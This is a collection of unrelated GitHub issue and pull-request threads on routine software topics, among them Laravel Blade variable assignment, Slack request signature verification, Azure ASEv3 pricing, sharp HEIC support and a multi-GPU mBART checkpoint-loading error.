    let b: &mut u32 = &mut *b;
}

Which compiles and runs fine.

Looks like this was resolved by #12777.


proxy: non-interactive transactions

perform a sequence of commands atomically within a transaction. see #4654

will look into how we can design our API to fit with Prisma's batch SQL interface

After looking into Prisma implementation, it seems that even if we added non-interactive txn APIs, we can hardly utilize it in Prisma.

The goal for having SQL HTTP API is for people to use it directly in browser / in Vercel Edge Functions.
Prisma's query engines are implemented in Rust and does not seem to provide a WASM binding https://github.com/prisma/prisma-engines/, which means that it's unlikely to run this in browsers.
Therefore, we should think about who can use the API endpoint before we start working on this issue.

I have not looked carefully into the prisma client package itself. Probably we can find some ways to hack into it so that it does not need to call the Rust engine thing and we can make the client nodejs package directly call our HTTP API.

after looking into prisma/client, they seem to have something called "data proxy" support. Neon HTTP endpoint is similar to that and I think I will need a week or two to fork Prisma and come up with a demo. https://github.com/prisma/prisma/tree/main/packages/client/src/runtime/core/engines/data-proxy


[5.1] Assign Variable In Blade Templates

Reading this issue (https://github.com/laravel/framework/issues/4778), Taylor Otwell and Beau Simensen seems to be both OK to add variable assignment in blade templates. Many issues has been opened for this need so I think it's acceptable.
@var('my_variable', 'value')

I can change it to set too if you want.

Please squash to one commit.

Could you add a couple of simple tests too please?

Ok thanks. Done!

I think it's fine to just do <?php $foo = 'bar'; ?> honestly.

@taylorotwell This would be useful to those who are building templates as part of a cms, where the template is stored for future use by other users. Using @var('my_variable', 'value') would be better than storing real php code in the user made template, and it would make it easier to secure the cms template editor and restrict raw php code completely from being included to the templates.

I'm curious why not just pass the value into the view?

I'm doing that most of the time. I had one template that needed a true of false flag based on several fields. Setting a temp variable in the template was easier than modifying the cms controller to make a new variable only for this one template. I'm in the process of moving it to a separate report controller, so I might not need it in the future. I just had time where it would have be useful.

:+1:
for consistent blade syntax :+1:

Ok thanks, I understand what Taylor Otwell wrote, but maybe this request will be re-issued forever by somebody else :) ! Many people seems to want this (and @taylorotwell too in this ticket https://github.com/laravel/framework/issues/4778):

http://stackoverflow.com/questions/13002626/laravels-blade-how-can-i-set-variables-in-a-template (50 points on question + response)
https://github.com/laravel/laravel/pull/866
https://github.com/laravel/framework/issues/1844
http://stackoverflow.com/questions/17509912/declaring-simple-variables-in-views-in-laravel
https://arjunphp.com/define-variable-in-blade-templates-laravel/
https://github.com/alexdover/blade-set

etc. (only first page on google)
I don't want to seem rude (sorry if so), feel free to not re-open this PR :)! Thanks all for your time!

@taylorotwell perhaps the values are not known at this moment ... I prefer the @set() (@var() )- Method ..
styling a referraltable for exaple make this mutch easyer (nested @foreach() with values from the parentloop). So from me a big thumbs up goes to this request.

I think it's fine to just do  honestly.

Sure, but with this logic, what would be the point of other Blade directives then?  Blade syntax is much more beautiful, so why not?

I always use {{ ($var = 'value') ? '':'' }} but I agree that an @var directive would be useful.

:+1: for this feature.

+1

+1 Sometimes it is useful!

+1

+1

+1

If I'm not mistaken, Blade is intended to be a lightweight templating solution. If you're looking for additional features, you may as well switch to Twig.

+1

@mikerockett I would agree, up until @inject() was added. I would of also said that if you can pass in variables to views, which shouldn't you be more forced to pass in entire classes?
With @inject we should get something simple like this.

@zogot - the difference between @inject and @var is that the former injects a service already present in the container, whereas the latter creates a new variable - something that should be done outside of the view.
I would recommend extending Blade to accomplish variable assignment instead.

-1 :-1:
I say that we need to pass the variable to the view. Why are you adding more complexity to the view? If you need to create a variable then you are doing it wrong.

Totally agree with @mikerockett. I think extending blade is the right approach.

This is the wrong approach
On Feb 5, 2016, at 2:32 PM, cristiangrama <notifications<EMAIL_ADDRESS>wrote:
Totally agree with @mikerocketthttps://github.com/mikerockett. I think extending blade is the right approach.

Reply to this email directly or view it on GitHubhttps://github.com/laravel/framework/pull/10503#issuecomment-180563418.

@mikerockett It might inject a service in the container, but you are still assigning that to a variable. You can just as easily stick that in a parameter of the controller function and pass it into the view. Surely that isn't that much different than what is proposed to do with simple variables?

I totally understand the point of not adding var and bla bla bla, i just think it's a useful thing for a lot of use cases, and a lot of people want to use that, so why not?
For me at least i just want to set variables as helpers, for example:
{{$person->project->lastTask->id}} - {{ $person->project->lastTask->name }}

I can do:
@var('lastTask', $person->project->lastTask)
{{$lastTask->id}} - {{ $lastTask->name }}

A lot of things we do can be wrongly used, we shouldn't worry that much about that...
Funny thing is that laravel does global functions that says it's an horrible practice but a thing really helpful like that doesn't.
And, it's pretty easy to extend blade for doing that, so it's ok to not have too...

@zogot - I understand your point, and did consider it. However, the purpose of service injection is to give the service an identifiable name for easy access. The primary difference, here, is that service injection does not make any changes to the service and its behaviour. Due to this, the variable should be injected into the view.
@dbpolito - If you're injecting $person into the view, then what is stopping you from injecting $person->project->lastTask into the view?
@AdamKyle

This is the wrong approach

I don't think there is such a thing is the 'right' or 'wrong' approach in this context. If you are given the ability to extend Blade to your liking, then how can this be seen as the wrong approach? Please elaborate.

It's wrong because you should never create variables, functions or classes in views. No logic other the a basic for or if loop should be in a view (even then move that to a partial).
Views are for viewing.
You should object all the criteria you need and not create anything in the view.
On Feb 5, 2016, at 11:20 PM, Mike Rock?tt <notifications<EMAIL_ADDRESS>wrote:
@zogothttps://github.com/zogot - I understand your point, and did consider it. However, the purpose of service injection is to give the service an identifiable name for easy access. The primary difference, here, is that service injection does not make any changes to the service and its behaviour. Due to this, the variable should be injected into the view.
@dbpolitohttps://github.com/dbpolito - If you're injecting $person into the view, then what is stopping you from injecting $person->project->lastTask into the view?
@AdamKylehttps://github.com/AdamKyle
This is the wrong approach
I don't think there is such a thing is the 'right' or 'wrong' approach in this context. If you are given the ability to extend Blade to your liking, then how can this be seen as the wrong approach? Please elaborate.

Reply to this email directly or view it on GitHubhttps://github.com/laravel/framework/pull/10503#issuecomment-180702757.

@AdamKyle - I do completely agree with you. My emphasis was on the point of not making this the framework's job. Those who want to do the wrong thing, should use the tools available to them to do so - it's their choice.


Action view hides and swipe state cell hangs when view controller disappears.

SwipeCellKit version used: 2.4.3
UICollectionView
Sample application attached.
Steps to reproduce:

Swipe left to show action view
Go to another view controller (e.g. tap to another tab bar button)

Result:
Action view hides and swipe state cell hangs :(

⬇

It's reproducible only with UICollectionViewCells, you can see it in sample app.
SwipeCellKitBug.zip

Root cause is in SwipeCollectionViewCell.swift:
    open override func willMove(toWindow newWindow: UIWindow?) {
        super.willMove(toWindow: newWindow)

        if newWindow == nil {
            reset()
        }
    }

Possible workaround:
    override func viewWillDisappear(_ animated: Bool) {
        super.viewWillDisappear(animated)

        for cell in collectionView.visibleCells {
            if let cell = cell as? SwipeCollectionViewCell {
                cell.hideSwipe(animated: true)
            }
        }
    }

There really isn't any other way for the cell to know the view will disappear from what I can think of. So your solution is good.


feat: add RpcEndpoints type

Motivation
Closes #1935

Solution

adds a new config type where multiple rpc pairs can be defined, including env vars (#1034)

Note:

env var format is preliminary and may change, env var parsing is not very sophisticated atm, only looks for ${}
this only adds support for declaring them in the config but nothing else, will get integrated in with (https://github.com/foundry-rs/foundry/pull/1715)

I think unifying everything to --rpc should be the goal
adding alias support will be possible and shouldn't break how the rpc argument is used currently

cool - merging in the interest of moving this forward and we can do in follow up


change algorithm for highlighting votes

replaced algorithm with a proportion-based one with minimum difference limit
a bit more likely to that of @Saren-Arterius 's but I of course typed from scratch

although I think which algorithm to be used for highlighting is quite a thing of personal favour

Thanks for making it more colorful


After Kubernetes update API server cannot start during rolling update because of outdated audit policy api version.

How to categorize this issue?
/area control-plane
/kind impediment
What happened:
Cluster stuck in deletion workflow, because API server deployment was not healthy.
The API server deployment was rolled according to a pending kubernetes upgrade.
The new replicaset couldn't succeed, because a customer configured audit policy
used an outdated version (v1beta). Therefore the deployment never gets ready, and the deletion is stuck.
The config map providing the policy cannot be changed directly in the cluster, therefore
it must be fixed in the project namespace in the garden cluster.
Fortunately v1 and v1beta are compatible, so the problem resolved after just changing the api version
in the original config map.
What you expected to happen:
How to reproduce it (as minimally and precisely as possible):
Anything else we need to know?:
Environment:

Gardener version: canary

/assign


Slack couldn't verify messages with *(bold)

Hi all,
I have slack app and I'm using interactivity feature.
I have a button and a restapi accepting the requests, and I'm using slack sdk to verify the message came from slack.
I'm facing a problem - the verification fails in case the message have **(bold) text inside, but when I remove the **, it works.
Why does it happens?
This is the code. I'm using Java with Spring.
  @PostMapping("/interactions")
  public ResponseEntity<String> handleSlackInteractions(
      final HttpServletRequest request,
      @RequestBody String requestBody,
      @RequestParam("payload") String rawPayload) {

    try {
      if (!slackVerifier.verifyRequest(request, requestBody)) {
        throw new ResponseStatusException(HttpStatus.UNAUTHORIZED, "Verification failed");
      }

  public SlackVerifier(String slackSigningSecret) {
    this.verifier = new SlackSignature.Verifier(new SlackSignature.Generator(slackSigningSecret));
  }

  public boolean verifyRequest(HttpServletRequest request, String requestBody) {
    try {
      String requestTimestamp =
          request.getHeader(SlackSignature.HeaderNames.X_SLACK_REQUEST_TIMESTAMP);
      String slackSignature = request.getHeader(SlackSignature.HeaderNames.X_SLACK_SIGNATURE);

      return verifier.isValid(requestTimestamp, requestBody, slackSignature);

    } catch (Exception e) {
      logger.error("Error verifying Slack request", e);
      return false;
    }
  }

Thanks!

Hi @noy-duany, thanks for asking the question!
Since the request validation for Slack event payload requires no modification of the text request body, you cannot use Spring's request parser for the endpoint. This means @RequestParam etc. never works in many patterns.
For this reason, please use the base servlet class (com.slack.api.bolt.jakarta_servlet.SlackAppServlet or com.slack.api.bolt.servlet.SlackAppServlet) we provide instead.
For more detailed information, here are helpful resources:

https://github.com/slackapi/java-slack-sdk/tree/main/bolt-spring-boot-examples/spring-boot-3
https://slack.dev/java-slack-sdk/guides/supported-web-frameworks#spring-boot

We don't have anything further to share on this, so let me close this issue now. Thanks again for posting the question!


Create a

#define MESSAGE (const unsigned char *) "Message"
#define MESSAGE_LEN 7
#define CIPHERTEXT_LEN (crypto_box_SEALBYTES + MESSAGE_LEN)
/* Recipient creates a long-term key pair */
unsigned char recipient_pk[crypto_box_PUBLICKEYBYTES];
unsigned char recipient_sk[crypto_box_SECRETKEYBYTES];
crypto_box_keypair(recipient_pk, recipient_sk);
/* Anonymous sender encrypts a message using an ephemeral key pair

and the recipient's public key */
unsigned char ciphertext[CIPHERTEXT_LEN];
crypto_box_seal(ciphertext, MESSAGE, MESSAGE_LEN, recipient_pk);

/* Recipient decrypts the ciphertext /
unsigned char decrypted[MESSAGE_LEN];
if (crypto_box_seal_open(decrypted, ciphertext, CIPHERTEXT_LEN,
recipient_pk, recipient_sk) != 0) {
/ message corrupted or not intended for this recipient */

If the salt loses its flavor what good is it? Well, maybe here it does, who knows?


Please clarify the pricing for zone-redundant ASEv3

Hi!
This document mentions that when deploying a zone-redundant ASEv3, we will incur the cost of 9 (nine) Windows I1v2 App Service Plans. The "Create ASE v3" document, however, contains a portal screenshot that shows that the minimal instance count for a zone-redundant ASEv3 will be 3 (three).
Could you please clarify? Do we need at least three but pay for nine?
Also, according to this doc, Azure West Europe supports AZ ASEv3, but the portal GUI doesn't expose the setting. Is it a setting that's still limited to template deployments?
Thanks!

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 2dcd1a66-7ff7-c0da-b170-c302784221ae
Version Independent ID: 4766d1de-b033-029a-9860-12a306195c72
Content: App Service Environment overview - Azure App Service Environment
Content Source: articles/app-service/environment/overview.md
Service: app-service
GitHub Login: @ccompy
Microsoft Alias: ccompy

Thanks for the question! We are currently investigating and will update you shortly.

There is some pricing information in the General Availability announcement which may help? https://techcommunity.microsoft.com/t5/apps-on-azure/announcing-app-service-environment-v3-ga/ba-p/2517990

The GA announcement has the same info as the docs. My concern is that it is inconsistent with the GUI / portal experience, which indicates that:
"The minimum App Service plan instance count will be three."
Three is logical (three av zones), and nine is a bit... over the top? Ultimately, from a cost perspective, we'd be better off using ASEv2 to get a zone-redundant deployment.

Hi @rwiankowski and @gitstua, I've assigned the content author so we can better clarify this.

Hi @rwiankowski  and @SnehaAgrawal-MSFT ,
I just recently implemented IAC via Bicep for all environments for my company and are wanting to utilize V3 of ASE deployments which is currently in public preview. Like @rwiankowski has mentioned previously the UI is inconsistent and I am unsure how to track the cost. I understand ASE_V3 is supposed to be significantly less costly than the other versions but would appreciate more clarification.

ASEv3 is in GA.  The pricing details are in documentation:  https://docs.microsoft.com/en-us/azure/app-service/environment/overview#pricing
For more details on the different deployment types, read this: https://docs.microsoft.com/en-us/azure/app-service/environment/creation#deployment-considerations
for the actual pricing on dedicated host offerings, that looks like there was a bug when it went out to the pricing page and it just isn't even visible.  They are working to fix that and it should light up soon.

Pricing information has been updated. Details has been added to pricing page and pricing calculator.
#please-close


Support of HEIC format dropped out after 0.26.2

Possible bug
Support of HEIC format dropped out after 0.26.2
Is this a possible bug in a feature of sharp, unrelated to installation?

[ x] Running npm install sharp completes without error.
[ x] Running node -e "require('sharp')" completes without error.

Are you using the latest version of sharp?

[x ] I am using the latest version of sharp as reported by npm view sharp dist-tags.latest.

What is the output of running npx envinfo --binaries --system --npmPackages=sharp --npmGlobalPackages=sharp?
  System:
    OS: Linux 6.2 Ubuntu 22.04.3 LTS 22.04.3 LTS (Jammy Jellyfish)
    CPU: (12) x64 Intel(R) Core(TM) i7-10750H CPU @ 2.60GHz
    Memory: 22.04 GB / 31.11 GB
    Container: Yes
    Shell: 5.1.16 - /bin/bash
  Binaries:
    Node: 18.16.1 - ~/.nvm/versions/node/v18.16.1/bin/node
    Yarn: 1.22.19 - /usr/bin/yarn
    npm: 9.5.1 - ~/.nvm/versions/node/v18.16.1/bin/npm
  npmPackages:
    sharp: 0.32.6 => 0.32.6

What are the steps to reproduce?
run the following code with HEIC image format (Take a random photo from iphone gallery):
const resizedFile = await sharp(location)
		.rotate()
		.resize(width, height, {
			fit: 'inside',
		})
		.toFile(destination);

with version leatest 0.32.6 i will get an error about the format but with version 0.26.2 i can do that without problems
What is the expected behaviour?
be able to execute the code as the version 0.26.2

The prebuilt binaries provided by sharp have never supported HEIC (HEVC within HEIF).
Support for a globally-installed libvips compiled with support for libheif+x265 was added in v0.23.0, so I suspect you've been relying on this. Please ensure the version of libvips matches the minimum required for the corresponding version of sharp.
https://sharp.pixelplumbing.com/install#custom-libvips
https://sharp.pixelplumbing.com/changelog

yeah but why with the same version of libvips (is my local pc) and only changing the sharp version all work fine? same on heroku server, is not a problem to change the version but i want to understand what changed

Thanks @lovell i will close this


One of the hyperlinks isn't mapped to anything

For Proceed to Map permanent custom domain under https://docs.microsoft.com/en-us/azure/cdn/cdn-map-content-to-custom-domain#map-permanent-custom-domain , there is no link associated with it

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: b32fbbf3-178d-a0ef-7c3a-87df74a8eb16
Version Independent ID: 2475b34a-88e8-5b45-723d-ee0a62230b8a
Content: Tutorial - Add a custom domain to your Azure CDN endpoint
Content Source: articles/cdn/cdn-map-content-to-custom-domain.md
Service: cdn
GitHub Login: @dksimpson
Microsoft Alias: v-deasim

#in-progress

Fixed in #46546

Documentation has been fixed and the changes are live.
#please-close

We will now proceed to close this thread. If there are further questions regarding this matter, please reopen it and we will gladly continue the discussion.


Added support to arbitrary project metadata key/value pairs

Checklist

[X] Affected Issues have been mentioned in the Closing issues section
[X] Documentation has been written/updated
[X] PR title is ready for changelog and subsystem label(s) applied

At present categorising projects within Lagoon is unwieldy (env vars) and require external systems to collate and manage queries (e.g there is no way to directly add or query by arbitrary metadata).
This PR adds support for adding any number of key/value metadata pairs and querying where any project contains a specific key or key/value pair.
Partially sponsored by GovCMS.
From the docs added:
Maintaining project metadata
Project metadata can be assigned using arbitrary key/value pairs. Projects can then be queried by the associated metadata; for example you may categorise projects by type of software, version number, or any other categorisation you may wish to query on later.
Add/update metadata on a project
Updates to metadata expect a key/value pair. It operates as an UPSERT, meaning if a key already exists the value will be updated, otherwise inserted.
You may have any number of k/v pairs stored against a project.
mutation {
  updateProjectMetadata(
    input: { id: 1,  patch: { key: "type", value: "saas" } }
  ) {
    id
    metadata
  }
}

Query for projects by metadata
Queries may be by key only (e.g return all projects where a specific key exists) or both key and value where both key and value must match.
All projects that have the version tag:
query projectsByMetadata {
  projectsByMetadata(metadata: [{key: "version"] ) {
    id
    name
  }
}

All projects that have the version tag, specifically version 8:
query projectsByMetadata {
  projectsByMetadata(metadata: [{key: "version", value: "8"] ) {
    id
    name
  }
}

Removing metadata on a project
Metadata can be removed on a per-key basis. Other metadata key/value pairs will persist.
mutation {
  removeProjectMetadataByKey (
    input: { id: 1,  key: "version" }
  ) {
    id
    metadata
  }
}

Closing issues
Partial #1289, no UI

wow, epic work @srowlands <3
one thing I'm not sure about the whole thing, we're adding a new GraphQL Query getProjectsByMetadata, but there is also the Query allProjects already that we could just extend that it supports to be filtered by Metadata.
I think this goes a bit into the architecture of GraphQL and might be a bit an esoteric question, but my gut feeling tells me that as a user of the GraphQL I would rater use an already existing query and just pass it more data to it.
Happy to hear the opinion of others though.

❤ this Stu! The only thing I would add is some simple graphQL tests to prove that the functionality works as designed.
e.g.

Add a key/value pair
Query for it (assert can find 1 project)
Remove it
Query for it (assert cannot find any projects)

🙏 Thanks for the prompt review + feedback!
Have resolved the minor bits and pieces, keen to hear feedback on whether this should be rolled into the allProjects query too.
Agree on tests, I can circle back to this next mid next week unless someone picks that up in the meantime


Can you support phpdoc comment

Can you support phpdoc comment, like jdoc, see also: https://www.phpdoc.org/, when I  type /**

Is this something that would be done in an extension or in vscode?

if you mean something like autopopulating a phpdoc section from info in a function, this would have to be done by an extension.

Yeah, I found a vs code extension PHP DocBlocker, Thanks for your answer


Destructured visMetaData Object in all visualizations

Description

Destructured visMetaData Object in all visualizations
Fixed No results found alignment issue in charts view

Issues Resolved
https://github.com/opensearch-project/observability/issues/1058
Check List

[x] Commits are signed per the DCO using --signoff

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Merged in main


[Question] How to use Metis partitioning in ClusterData

❓ Questions & Help
Hello,
Thank you for the work on the library! Really appreciate it.
I wanted to use Metis as the partitioning function in ClusterData instead of random partitioning. I see that pytorch_sparse recently added this feature. However, I do not see any option to do so. The code for ClusterData also does not support this (from what I see in the source code). I have independently installed this library and also the Metis software following the instructions.
Can the developers shed some light on how I can go about doing this? Do I need to install pytorch-sparse differently to use it?
Thanks!

ClusterData uses metis for partioning, it does not do random clustering. If this works for you, everything is fine:)

Hi @rusty1s ,
Thanks for the prompt response!
A quick follow up:
Just to be clear, it uses Metis even without installing Metis independently?
I am asking this as I ran the test file cluster_gcn.py with GCNConv and SAGEConv on the reddit dataset and the results were quite low than expected (with the same parameters as mentioned in the cluster-GCN paper). And the paper has experiments that show that random partitioning performs worse than clustering using Metis.
Or could it be because the GCNConv in this library is the vanilla GCN (original paper by Kipf and Welling) and does not have the tweaks and tricks that authors of cluster-GCN made to it?

If you install torch-sparse from source, you need to also have metis installed (see README of torch-sparse). If you simply use our binaries, then this functionality is already included. Generally speaking, ClusterGCN does not use random sampling, it just crashes when it does not find metis. Overall, I am fairly sure that my ClusterGCN procedure works correctly and implements exactly the procedure that is mentioned in the paper, but I am aware that the example does not reach the correct accuracy yet. This may well be because we use a different architecture here. This is on my todo, and I will look into it, but I wouldn't mind if you would also have a closer look!

Hi @rusty1s ,
Thanks again for the quick response!
And that makes it clearer now.
Re: lower performance, I will definitely be looking into it as well in the next few days. I will keep you posted if I find anything.
Cheers!

Lower performance was due to not performing inference on the full-graph. It is fixed now :)


feat: add docker support

This PR adds docker support for both aarch64 & x86/64
Steps to test:

git checkout 1.1.4beta
docker build . -t seid:prod
docker run seid:prod seid version (this should output 1.1.4beta)

we have docker support, make build-docker-node


support global setpoints (SET_POSITION_TARGET_GLOBAL_INT)

http://mavlink.org/messages/common#SET_POSITION_TARGET_GLOBAL_INT
This will give users the ability to command GPS-based setpoints instead of just local-based.
Currently, only SET_POSITION_TARGET_LOCAL_NED is supported (https://github.com/PX4/Firmware/blob/master/src/modules/mavlink/mavlink_receiver.cpp#L184).

You can use MAV_CMD_DO_REPOSITION for this.


Rovers for planetary exploration

I really wish there would be rovers so you can explore planets, because walking or flying is kinda boring.
My idea is that there would be 2 sizes, a small one which can be used by one player and a has a storage equivalent to a standart Minecraft chest, and a big one which 2 players can board, but only one can pilot. It would have the a storage the size of a standard Minecraft double chest (or possibly a 9x9 field of storage?).
There would be two ways to fuel the rovers. You have to decide which one you will use in crafting, because you will either use a battery or a pressurized tank to craft them. If you decide to make an electric rover, it will have a small storage where electricity (RF) is stored, and a special slot which can be filled with any battery (Thermal Expansion flux capacitors/energy cells, Mekanism energy cubes/energy tablets, matter overdrive batteries, I think you get what I mean) to increase the storage capacity. If you use a pressurized tank to craft the rover, you will need to fill it up with rocket fuel.
The way the rovers would be charged is either you drop in a battery or a bucket/tank into a slot inside the rover inventory (the same key which is used for opening the rocket inventory could be used to access it), or you drive the rover on a multiblock structure (possibly some kind of 3x3 (maybe a bigger 4x4 version for the large rover) pad, similar to the gas charge pad, or the Mekanism charge pad).
Inside the rover inventory, there also could be some slots for upgrades like fuel efficiency, speed, etc.
The rover should also be able to climb up 1 block high "walls", else it wouldn't really make sense.
If the rover comes into contact with any kind of liquid (a whitelist could possibly be added into the config) for more than a second or two, particles should start come out and after 5-10 seconds the rover will explode.
If anyone else has good ideas, just comment them and maybe I will add them to my post.

I like it

There's already the hovercraft in development for this, I believe. @zmaster587 may be able to say.

@Silfryi The hovercraft is too technologically advanced though. I want the rover to actually be a 4 or 6 wheeled vehicle which you can drive, not fly.

I can confirm this is a planned feature, it's likely going to be a bit since it's a bit lower priority compared to the navigation overhaul that I promised over a year ago.
The rationale for the hovercraft flying is that it's more meant to allow players to travel at high speed, unfortunately in a blocky minecraft world it would look kinda funky to seemingly teleport up small ledges.
Rovers wouldn't have this same issue since they'd be far slower and would be planned for early to early mid-game, so they would be wheeled.
When rovers are added to the game, they'll probably come with another planet overhaul.  Technology for high pressure and very hot planets will probably get moved to later game so that rovers have a real use behind them: to substitute players in extremely hostile environments earlier game so you can still interact with those planets, but you'd have the trade-off of controlling the rover instead of the player.  It'd also require some more logistic thinking since items the rover picks up won't appear in your inventory.  You'd need to send them back up from the surface.


Zombie Nerf [Seethe] [Cope]

About the PR
necessary evil
i'm a creep im a weirdo
increased the price of the zombie bundle because i hate fun it was being purchased too often.
Screenshots

Changelog

:cl:

tweak: Syndicate Zombie Bundle price increase from 40TC to 50TC
tweak: Syndicate Zombie Bundle contents have been reduced.
tweak: Zombie Infection now does (slightly) less damage.
remove: Removed fun. (ha)

zomboids sweating rn


RuntimeError: [enforce fail at inline_container.cc:145] . PytorchStreamReader failed reading file data/94862161006912: file read failed

Hi, When I use the train_mbart_model.sh to get further pre train based on the mBart-large-50 from this:https://huggingface.co/facebook/mbart-large-50;
And when I run in single GPU, there is no problem, but when I set this form and want to run on 2-GPUS
export CUDA_VISIBLE_DEVICES=0,1 # Change to the GPU ID corresponding to a GPU that is free. nohup python pretrain_nmt.py -n 1  -nr 0 -g 2 --model_path gen_model/mbart/mbart-50-v1 --tokenizer_name_or_path pretrain_model/mbart-50 --langs en --mono_src examples/test_data/test_mbart_train.en --encoder_layers 12 --decoder_layers 12 --encoder_attention_heads=12 --decoder_attention_heads=12 --encoder_ffn_dim=128 --decoder_ffn_dim=4096 --d_model=1024 --batch_size 128 --use_official_pretrained --pretrained_model pretrain_model/mbart-50 --no_reload_optimizer_ctr_and_scheduler --shard_files > gen_model/mbart/run_train.log 2>&1 &
there is error as follow:
Number of model parameters: 610879488
Total number of params to be optimized are:  610879488
Percentage of parameters to be optimized:  100.0
Initial LR is: 1.25e-07
Training from official pretrained model
/miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/optim/lr_scheduler.py:247: UserWarning: To get the last learning rate computed by the scheduler, please use get_last_lr().
warnings.warn("To get the last learning rate computed by the scheduler, "
/miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/optim/lr_scheduler.py:136: UserWarning: Detected call of lr_scheduler.step() before optimizer.step(). In PyTorch 1.1.0 and later, you should call them in the opposite order: optimizer.step() before lr_scheduler.step().  Failure to do this will result in PyTorch skipping the first value of the learning rate schedule. See more details at https://pytorch.org/docs/stable/optim.html#how-to-adjust-learning-rate
"https://pytorch.org/docs/stable/optim.html#how-to-adjust-learning-rate", UserWarning)
Traceback (most recent call last):
File "pretrain_nmt.py", line 968, in
run_demo()
File "pretrain_nmt.py", line 965, in run_demo
mp.spawn(model_create_load_run_save, nprocs=args.gpus, args=(args,files,train_files,))         #
File "/miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/multiprocessing/spawn.py", line 199, in spawn
return start_processes(fn, args, nprocs, join, daemon, start_method='spawn')
File "/miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/multiprocessing/spawn.py", line 157, in start_processes
while not context.join():
File "****/miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/multiprocessing/spawn.py", line 118, in join
raise Exception(msg)
Exception:
-- Process 1 terminated with the following error:
Traceback (most recent call last):
File "/miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/multiprocessing/spawn.py", line 19, in _wrap
fn(i, args)
File "/mt_mbart/yanmtt/pretrain_nmt.py", line 313, in model_create_load_run_save
checkpoint_dict = torch.load(CHECKPOINT_PATH, map_location=map_location)
File "/miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/serialization.py", line 594, in load
return _load(opened_zipfile, map_location, pickle_module, **pickle_load_args)
File "/miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/serialization.py", line 853, in _load
result = unpickler.load()
File "/miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/serialization.py", line 845, in persistent_load
load_tensor(data_type, size, key, _maybe_decode_ascii(location))
File "*/miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/serialization.py", line 833, in load_tensor
storage = zip_file.get_storage_from_record(name, size, dtype).storage()
RuntimeError: [enforce fail at inline_container.cc:145] . PytorchStreamReader failed reading file data/94862161006912: file read failed
Can you help me for this problem? I spent a long time and didn't solve it

Hi
It's likely that you have a corrupted model file. This can happen if training was terminated while the checkpoint was being saved.
Solutions:

On the terminal, try using torch.load on the model checkpoint to see if it loads. If it doesn't that's the issue.
Inspect your previous pretraining logs to see whether everything was saved properly or not. Check the model file sizes and see if it looks ok or not.
Try to use the model with the pure_model suffix. Hopefully it's not corrupt.

@prajdabre  oh Thanks for your patience, and In fact, I have guessed before that it is the problem that the model is not fully saved. And I saw that If saved models successfully, in the pretrain_nmt.py script, will save two models, one is MyModel, which have state_dict、optimizer、scheduler and ctr; and the scale is very big as 6.9GB, after further pre trained with mBart-50;
And the other model is MyModel.pure_model, which only have state_dict, similar as open source pre trained model's form; this model's scale is 2.3GB;
After I confirmed, the problem is that, If I run the train_mbart_model.sh in multiple GPUs, the big model(6.9GB) is not saved completely , but the small one is save completely and I can reload with pure_model;
And as I understand, the big model(6.9GB) is actually no need to save? Can I save and reload only pure_model every 1000 steps? and as for the optimizer and scheduler, I can also use them from previous step? Maybe this way can resolve my error in multiple GPUs; and finally, I only save one(big model) in last step. Can I make the above changes? Or have other suggestions?
Actually I don't understand the reason for saving this large model

Hi
I'm not sure of the exact problem but I typically pass the flag: --save_intermediate_checkpoints
This will save a separate checkpoint every 10k iterations and this 10k can be set to any value using another flag --long_save_every
I have never used the last checkpoint to be honest. I should look whether there's a bug in the last checkpoint saving or not. That being said using the .pure_model for fine tuning is not a problem. I designed the training so that the big checkpoint with the optimizer and scheduler and counter can be used to resume training a failed run. The pure_model checkpoint is the one that should be used for fine tuning on a downstream task where optimizer params are not needed or for sharing with someone or for uploading to huggingface.
Hope this makes sense.

@prajdabre Thank you for your reply,  After many adjustments, I finally decide to Remove some intermediately stored code parts as follows
            checkpoint_dict = torch.load(CHECKPOINT_PATH, map_location=map_location)             model.load_state_dict(checkpoint_dict['model'])             optimizer.load_state_dict(checkpoint_dict['optimizer'])             scheduler.load_state_dict(checkpoint_dict['scheduler'])             del checkpoint_dict
and only keep the part  of torch.save(); Hope this is ok
And another point that I haven't understand is that where is the stopping mechanism of this pre-training stage adjusted? I don't seem to find a parameter that can control the number of steps in training

Hi
Your modification is ok. There's no real reason to load a saved model. I just wanted to make sure that everything is hard synchronized.
The argument you are looking for is: --num_batches

Hi
Your modification is ok. There's no real reason to load a saved model. I just wanted to make sure that everything is hard synchronized.
The argument you are looking for is: --num_batches

Thanks a lot

@prajdabre by the way, I just want to ask that when I pre train based on more than one language, such as 8 langs,
how about the settings?  Are there any other parameters to be aware of? for example, I see that
    parser.add_argument('--num_domains_for_domain_classifier', type=int, default=1,                          help='If we have multiple domains then we should set this to a value higher than one.')
Is it necessary to adjust this parameter num_domains_for_domain_classifier to be the same as the number of languages?
because my script errored out again, when I switched to multilingual pre-training, from one lang to 8 langs;
and this time's error is :
****/miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/optim/lr_scheduler.py:247: UserWarning: To get the last learning rate computed by the scheduler, please use get_last_lr().   warnings.warn("To get the last learning rate computed by the scheduler, " ****miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/optim/lr_scheduler.py:136: UserWarning: Detected call of lr_scheduler.step()beforeoptimizer.step(). In PyTorch 1.1.0 and later, you should call them in the opposite order: optimizer.step()beforelr_scheduler.step()`.  Failure to do this will result in PyTorch skipping the first value of the learning rate schedule. See more details at https://pytorch.org/docs/stable/optim.html#how-to-adjust-learning-rate
"https://pytorch.org/docs/stable/optim.html#how-to-adjust-learning-rate", UserWarning)
/miniconda3/envs/yanmtt/lib/python3.7/site-packages/torch/optim/lr_scheduler.py:216: UserWarning: Please also save or load the state of the optimizer when saving or loading the scheduler.
warnings.warn(SAVE_STATE_WARNING, UserWarning)
Traceback (most recent call last):
